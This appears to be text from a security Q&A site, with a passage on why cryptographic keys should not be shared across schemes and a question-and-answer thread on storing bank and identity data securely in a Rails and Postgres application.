Another concern is that one scheme might get broken, allowing key recovery. That key recovery then breaks all parts of your protocol that used that key. For example, if you implement a bad MAC algorithm, a break against that algorithm might not only break the authentication but also the confidentiality of your message.

Some practical examples:

Using AES-CBC for encryption together with AES-CBC-MAC is totally broken if you use the same key.
Using AES for encryption together with HMAC-MD5/SHA-1/SHA-2 has no known interactions. It is implausible that there are such interactions.
AES-CCM is a mode that uses AES-CTR for encryption and AES-CBC-MAC as MAC. This mode is provably as strong as AES itself.

These examples show that the practical security of such a combination can range from totally broken to provably secure.

The proper approach is to start with with one master key and use a key-derivation-function, such as HKDF, to derive individual keys. These keys are independent, preventing interactions between the different schemes. It is not feasible to recover the master key from individual keys, so a break against one part of the system doesn't break everything else based on that master key.


Looking for advice on storing sensitive information - Rails, Postgres, https, pg_crypto, Digital Ocean A potential contract requires the following sensitive information to be persisted in a postgres database:

Bank Account type (Uk/Int)
Bank Account Number
Bank Sort Code

Passport Number
Passport Issuing Country

Driving License Number
Driving License Issuing Country
Persisting this data terrifies me.

This information is required to be accessed by the firm's staff via an admin dashboard in a web browser.

Would a Rails app, configured to use https, running on Digital Ocean where sensitive columns are encrypted with pg_crypto be sufficient? Are there some addition steps I should take?

I'm new to security so sorry if this is a bad question.

Do: use the banking centers data center. Let them take on the burden of physical security. They need to provision something with their IT infrastructure for compliance. Until it's in their environment, just host locally on an encrypted drive with dummy data.

Don't: use any cloud environment. Use a dedicated, managed host. Let the client foot the bill.

Do: double-check on the pg_crypto library's best practices and check out this word for word.
http://www.postgresonline.com/journal/archives/165-encrypting-data-with-pgcrypto.html

Do: read in general about key pairs, salts, and hashes here: https://dba.stackexchange.com/questions/35296/database-encryption-and-key-management-with-pg-crypto

Do: add some authenticators like security questions and allow automated detection of suspicious behavior like logging in from new IP, double-blind customer service verification (customer service cannot see the answers, they only type in the customers security challenges and see if it passed or failed at end)

Do: periodic security audits. Suggest outside firms to assist you and pad your proposal with the added cost. A small e-commerce operation (just talking about signing up for online ed, and paying for it for ex.) costs about $5,000 to audit yearly by a recognized firm.

Do: read up about MITM attacks. Prevent out of date browsers, or self-signed certs from ever using the site. Prefer to use a highly trusted CA and never allow wildcard certs, express certs, or out-of-date certs on server side. All that is your job to do! Congrats on the RFP and good luck.

More to come.